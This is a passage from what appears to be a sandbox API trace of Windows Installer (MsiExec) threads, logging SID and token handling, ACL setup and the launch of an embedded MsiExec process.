nDestinationSidLength=0x48, pDestinationSid=0x1a8fb30, pSourceSid=0x1a8fa90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1a8fb30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.621] ConvertSidToStringSidW (in: Sid=0x1a8fb30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x1a8fb20 | out: StringSid=0x1a8fb20*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0130.621] LocalFree (hMem=0x3d6020) returned 0x0 [0130.621] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoCreateInstance") returned 0x7fefd507490 [0130.621] CoCreateInstance (in: rclsid=0x7fef7aa1240*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef7aa1230*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x35c588 | out: ppv=0x35c588*=0x7fefd6ba1b0) returned 0x0 [0130.622] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x350 [0130.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0xa000, lpStartAddress=0x7fef79af9f0, lpParameter=0x35c4c0, dwCreationFlags=0x0, lpThreadId=0x35c578 | out: lpThreadId=0x35c578*=0xd38) returned 0x268 [0130.623] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x1a8fb50*=0x268, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x1 [0130.629] SetEvent (hEvent=0x364) returned 1 [0130.629] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x1a8fb50*=0x268, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x1 [0143.653] StdGlobalInterfaceTable:IGlobalInterfaceTable:GetInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xe08, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1a8fc30) [0143.653] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3d6028, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1a8fc30) [0143.653] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3d6028) [0143.655] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoQueryProxyBlanket") returned 0x7fefd51b1d0 [0143.655] CoQueryProxyBlanket (pProxy=0x3d6028, pwAuthnSvc=0x1a8fba8, pAuthzSvc=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x1a8fba0, pAuthInfo=0x0, pCapabilites=0x0) [0143.655] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3d6028, riid=0x7fefd68e0e0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1a8fb00) [0143.659] ObjectStublessClient3 () [0143.674] ObjectStublessClient4 () [0149.471] ObjectStublessClient5 () [0149.471] IUnknown_Release_Proxy (This=0x3d6028) returned 0x2 [0149.472] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoUninitialize") returned 0x7fefd501314 [0149.472] CoUninitialize () [0149.472] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.472] DeleteFileW (lpFileName="C:\\Windows\\Installer\\MSI8ECF.tmp" (normalized: "c:\\windows\\installer\\msi8ecf.tmp")) returned 1 [0149.475] RtlExitUserThread (Status=0x0) Thread: id = 147 os_tid = 0xd38 [0130.628] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0130.628] GetCurrentThreadId () returned 0xd38 [0130.628] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x1d9f580, TokenInformationLength=0x58, ReturnLength=0x1d9f570 | out: TokenInformation=0x1d9f580, ReturnLength=0x1d9f570) returned 1 [0130.628] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x1d9f630, pSourceSid=0x1d9f590*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1d9f630*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.628] ConvertSidToStringSidW (in: Sid=0x1d9f630*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x1d9f620 | out: StringSid=0x1d9f620*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0130.628] LocalFree (hMem=0x3d5e60) returned 0x0 [0130.628] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x364 [0130.628] SetEvent (hEvent=0x350) returned 1 [0130.629] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x1d9f788*=0x364, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0 [0130.629] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0130.629] GetCurrentProcessId () returned 0xf30 [0130.629] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xf30) returned 0x0 [0130.630] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x1d9f4b0, TokenInformationLength=0x58, ReturnLength=0x1d9f4a0 | out: TokenInformation=0x1d9f4b0, ReturnLength=0x1d9f4a0) returned 1 [0130.630] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x1d9f620, pSourceSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1d9f620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.630] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0130.630] GetCurrentProcessId () returned 0xf30 [0130.630] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=1, dwProcessId=0xf30) returned 0x370 [0130.638] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetSecurityInfo") returned 0x7fefe7ba8e0 [0130.639] GetSecurityInfo () returned 0x0 [0130.648] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetEntriesInAclW") returned 0x7fefe7c3540 [0130.648] SetEntriesInAclW () returned 0x0 [0130.648] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityInfo") returned 0x7fefe7b8420 [0130.648] SetSecurityInfo () returned 0x0 [0130.648] CloseHandle (hObject=0x370) returned 1 [0130.648] LocalFree (hMem=0x380550) returned 0x0 [0130.648] LocalFree (hMem=0x3d5e60) returned 0x0 [0130.648] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0130.648] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0130.648] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0130.649] GetCurrentProcessId () returned 0xf30 [0130.649] CoCreateInstance (in: rclsid=0x7fef7aa1240*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef7aa1230*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x327788 | out: ppv=0x327788*=0x7fefd6ba1b0) returned 0x0 [0130.649] GetCurrentThread () returned 0xfffffffffffffffe [0130.649] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x2, OpenAsSelf=1, TokenHandle=0x1d9ee30 | out: TokenHandle=0x1d9ee30*=0x370) returned 1 [0130.649] DuplicateTokenEx (in: hExistingToken=0x370, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x0, TokenType=0x1, phNewToken=0x1d9efb0 | out: phNewToken=0x1d9efb0*=0x374) returned 1 [0130.649] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CreateRestrictedToken") returned 0x7fefe7eb784 [0130.650] CreateRestrictedToken (in: ExistingTokenHandle=0x374, Flags=0x2, DisableSidCount=0x0, SidsToDisable=0x0, DeletePrivilegeCount=0x0, PrivilegesToDelete=0x0, RestrictedSidCount=0x0, SidsToRestrict=0x0, NewTokenHandle=0x1d9ee20 | out: NewTokenHandle=0x1d9ee20*=0x3a0) returned 1 [0130.650] CloseHandle (hObject=0x374) returned 1 [0130.650] CloseHandle (hObject=0x370) returned 1 [0130.650] GetTickCount () returned 0x1879489 [0130.650] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x335a7a0d [0130.650] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x5eeaeb8d [0130.650] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x5974b425 [0130.650] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x619dab9e [0130.650] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x1f6d0078 [0130.650] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x669702fe [0130.650] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x54f7ba7a [0130.650] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x25920c78 [0130.651] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x65d637a8 [0130.651] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x274fe6be [0130.651] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x70294ee [0130.651] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x78b99911 [0130.651] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x66417ccd [0130.651] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x2232827a [0130.651] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x9b0091c [0130.651] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x44415374 [0130.651] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer", ulOptions=0x0, samDesired=0x20119, phkResult=0x1d9eac0 | out: phkResult=0x1d9eac0*=0x370) returned 0x0 [0130.651] RegQueryValueExW (in: hKey=0x370, lpValueName="MsiExecCA32", lpReserved=0x0, lpType=0x0, lpData=0x1d9eaf0, lpcbData=0x1d9eab0*=0x26a | out: lpType=0x0, lpData=0x1d9eaf0*=0x43, lpcbData=0x1d9eab0*=0x40) returned 0x0 [0130.651] UrlIsW (pszUrl="C:\\Windows\\syswow64\\msiexec.exe", UrlIs=0x0) returned 0 [0130.651] lstrlenW (lpString="C:\\Windows\\syswow64\\msiexec.exe") returned 31 [0130.651] memcpy (in: _Dst=0x2af2ce0, _Src=0x380588, _Size=0x16 | out: _Dst=0x2af2ce0) returned 0x2af2ce0 [0130.652] UrlIsW (pszUrl="C:\\Windows\\syswow64", UrlIs=0x0) returned 0 [0130.652] lstrlenW (lpString="C:\\Windows\\syswow64") returned 19 [0130.652] memcpy (in: _Dst=0x3c22e0, _Src=0x3605c0, _Size=0x4 | out: _Dst=0x3c22e0) returned 0x3c22e0 [0130.652] lstrlenW (lpString="\\") returned 1 [0130.652] lstrlenW (lpString="\\\\") returned 2 [0130.652] wcsstr (_Str="\\Windows\\syswow64", _SubStr="\\\\") returned 0x0 [0130.652] memcpy (in: _Dst=0x1d9dc60, _Src=0x3605c4, _Size=0x24 | out: _Dst=0x1d9dc60) returned 0x1d9dc60 [0130.652] lstrlenW (lpString="Windows") returned 7 [0130.652] lstrlenW (lpString="Windows") returned 7 [0130.652] lstrlenW (lpString="syswow64") returned 8 [0130.652] lstrlenW (lpString="syswow64") returned 8 [0130.652] lstrlenW (lpString="\\Windows\\syswow64") returned 17 [0130.652] lstrlenW (lpString="\\Windows\\syswow64") returned 17 [0130.652] lstrlenW (lpString="\\") returned 1 [0130.652] memcpy (in: _Dst=0x360480, _Src=0x3603e0, _Size=0x22 | out: _Dst=0x360480) returned 0x360480 [0130.653] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.653] GetFileAttributesW (lpFileName="C:\\Windows\\syswow64" (normalized: "c:\\windows\\syswow64")) returned 0x10 [0130.654] lstrlenW (lpString="MsiExec.exe") returned 11 [0130.654] lstrlenW (lpString="MsiExec.exe") returned 11 [0130.654] lstrlenW (lpString="MsiExec.exe") returned 11 [0130.654] memcpy (in: _Dst=0x3605c0, _Src=0x338890, _Size=0x4 | out: _Dst=0x3605c0) returned 0x3605c0 [0130.654] memcpy (in: _Dst=0x3605c4, _Src=0x360480, _Size=0x26 | out: _Dst=0x3605c4) returned 0x3605c4 [0130.654] lstrlenW (lpString="MsiExec.exe") returned 11 [0130.654] memcpy (in: _Dst=0x380560, _Src=0x3605c0, _Size=0x28 | out: _Dst=0x380560) returned 0x380560 [0130.655] memcpy (in: _Dst=0x32cec8, _Src=0x7fef7ab7f88, _Size=0x18 | out: _Dst=0x32cec8) returned 0x32cec8 [0130.655] GetFileAttributesExW (in: lpFileName="C:\\Windows\\syswow64\\MsiExec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x1d9e970 | out: lpFileInformation=0x1d9e970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0c6f80, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00)) returned 1 [0130.657] memcpy (in: _Dst=0x3605c0, _Src=0x338890, _Size=0x4 | out: _Dst=0x3605c0) returned 0x3605c0 [0130.657] memcpy (in: _Dst=0x3605c4, _Src=0x360480, _Size=0x26 | out: _Dst=0x3605c4) returned 0x3605c4 [0130.658] RegCloseKey (hKey=0x370) returned 0x0 [0130.658] lstrlenW (lpString="MsiExec.exe") returned 11 [0130.659] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76b00000 [0130.659] GetProcAddress (hModule=0x76b00000, lpProcName="GetSystemWow64DirectoryW") returned 0x76b62610 [0130.659] GetSystemWow64DirectoryW (in: lpBuffer=0x1d9f030, uSize=0x104 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0130.660] FreeLibrary (hLibModule=0x76b00000) returned 1 [0130.660] SetLastError (dwErrCode=0x0) [0130.660] lstrlenW (lpString=" -Embedding ") returned 12 [0130.660] memcpy (in: _Dst=0x34b8c0, _Src=0x380560, _Size=0x3e | out: _Dst=0x34b8c0) returned 0x34b8c0 [0130.660] memcpy (in: _Dst=0x1d9f460, _Src=0x7fef7aaf5e0, _Size=0x22 | out: _Dst=0x1d9f460) returned 0x1d9f460 [0130.660] lstrlenW (lpString="15C2A74905FE813C1C1C8CDCF151DE4D") returned 32 [0130.660] memcpy (in: _Dst=0x3be9e0, _Src=0x34b8c0, _Size=0x56 | out: _Dst=0x3be9e0) returned 0x3be9e0 [0130.661] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x370 [0130.661] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1d9efb0, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1d9ee90 | out: pSid=0x1d9ee90*=0x377090*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0130.661] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1d9efb0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1d9eea8 | out: pSid=0x1d9eea8*=0x377150*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0130.661] GetCurrentThread () returned 0xfffffffffffffffe [0130.661] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x1d9ee48 | out: TokenHandle=0x1d9ee48*=0x374) returned 1 [0130.661] GetTokenInformation (in: TokenHandle=0x374, TokenInformationClass=0x1, TokenInformation=0x1d9ed30, TokenInformationLength=0x58, ReturnLength=0x1d9ed20 | out: TokenInformation=0x1d9ed30, ReturnLength=0x1d9ed20) returned 1 [0130.661] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x1d9f4c0, pSourceSid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.661] CloseHandle (hObject=0x374) returned 1 [0130.661] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x7fefd6ba1b0, pUnk=0x2bec570, riid=0x7fef7aab030*(Data1=0xc1033, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x327814 | out: pdwCookie=0x327814*=0x200) returned 0x0 [0130.661] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9eca8 | out: ppvObject=0x1d9eca8*=0x0) returned 0x80004002 [0130.661] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666f70*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9ecb0 | out: ppvObject=0x1d9ecb0*=0x0) returned 0x80004002 [0130.661] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x2bec570) returned 0x2 [0130.661] GetCurrentThread () returned 0xfffffffffffffffe [0130.661] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xf01ff, OpenAsSelf=1, TokenHandle=0x1d9ee40 | out: TokenHandle=0x1d9ee40*=0x374) returned 1 [0130.661] GetTokenInformation (in: TokenHandle=0x374, TokenInformationClass=0x1, TokenInformation=0x1d9ec90, TokenInformationLength=0x58, ReturnLength=0x1d9ec80 | out: TokenInformation=0x1d9ec90, ReturnLength=0x1d9ec80) returned 1 [0130.661] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x1d9ed40, pSourceSid=0x1d9eca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0130.661] ConvertSidToStringSidW (in: Sid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x1d9ed30 | out: StringSid=0x1d9ed30*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0130.662] LocalFree (hMem=0x3d6020) returned 0x0 [0130.662] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0130.662] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0130.662] GetLengthSid (pSid=0x377090*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0130.662] GetLengthSid (pSid=0x377150*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0130.662] GetLengthSid (pSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0130.662] InitializeAcl (in: pAcl=0x1d9eb70, nAclLength=0x58, dwAclRevision=0x2 | out: pAcl=0x1d9eb70) returned 1 [0130.662] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x1fffff, pSid=0x377090*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pAcl=0x1d9eb70) returned 1 [0130.662] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x0, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eb78) returned 1 [0130.662] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x1fffff, pSid=0x377150*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: pAcl=0x1d9eb70) returned 1 [0130.662] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x1, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eb8c) returned 1 [0130.662] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x13fdcf, pSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pAcl=0x1d9eb70) returned 1 [0130.662] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x2, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eba4) returned 1 [0130.662] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x1d9eb30, dwRevision=0x1 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0130.662] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x1d9eb30, bDaclPresent=1, pDacl=0x1d9eb70, bDaclDefaulted=0 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0130.662] SetSecurityDescriptorOwner (in: pSecurityDescriptor=0x1d9eb30, pOwner=0x377090*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), bOwnerDefaulted=0 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0130.662] GetSecurityDescriptorLength (pSecurityDescriptor=0x1d9eb30) returned 0x8c [0130.662] MakeSelfRelativeSD (in: pAbsoluteSecurityDescriptor=0x1d9eb30, pSelfRelativeSecurityDescriptor=0x32ce80, lpdwBufferLength=0x1d9eb20 | out: pSelfRelativeSecurityDescriptor=0x32ce80, lpdwBufferLength=0x1d9eb20) returned 1 [0130.662] IsValidSecurityDescriptor (pSecurityDescriptor=0x32ce80) returned 1 [0130.663] GetProcAddress (hModule=0x76d20000, lpProcName="RtlCreateEnvironment") returned 0x76d30d10 [0130.663] RtlCreateEnvironment (in: Inherit=1, Environment=0x1d9ee30 | out: Environment=0x1d9ee30*="ALLUSERSPROFILE=C:\\ProgramData") returned 0x0 [0130.663] memcpy (in: _Dst=0x1d9f250, _Src=0x3be9e0, _Size=0x98 | out: _Dst=0x1d9f250) returned 0x1d9f250 [0130.663] CreateProcessAsUserW (in: hToken=0x3a0, lpApplicationName="C:\\Windows\\syswow64\\MsiExec.exe", lpCommandLine="C:\\Windows\\syswow64\\MsiExec.exe -Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", lpProcessAttributes=0x1d9f460, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x420, lpEnvironment=0x5c30260, lpCurrentDirectory="C:\\Windows\\SysWOW64", lpStartupInfo=0x1d9ef40*(cb=0x68, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1d9ee60 | out: lpCommandLine="C:\\Windows\\syswow64\\MsiExec.exe -Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", lpProcessInformation=0x1d9ee60*(hProcess=0x3a8, hThread=0x3a4, dwProcessId=0x140, dwThreadId=0xd48)) returned 1 [0130.723] GetProcAddress (hModule=0x76d20000, lpProcName="RtlDestroyEnvironment") returned 0x76d300e0 [0130.723] RtlDestroyEnvironment (Environment="ALLUSERSPROFILE=C:\\ProgramData") [0130.723] CloseHandle (hObject=0x3a4) returned 1 [0130.723] CloseHandle (hObject=0x374) returned 1 [0130.724] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0130.724] CloseHandle (hObject=0x3a0) returned 1 [0130.724] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x1d9ef10*=0x3a8, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x1 [0143.649] CloseHandle (hObject=0x370) returned 1 [0143.650] 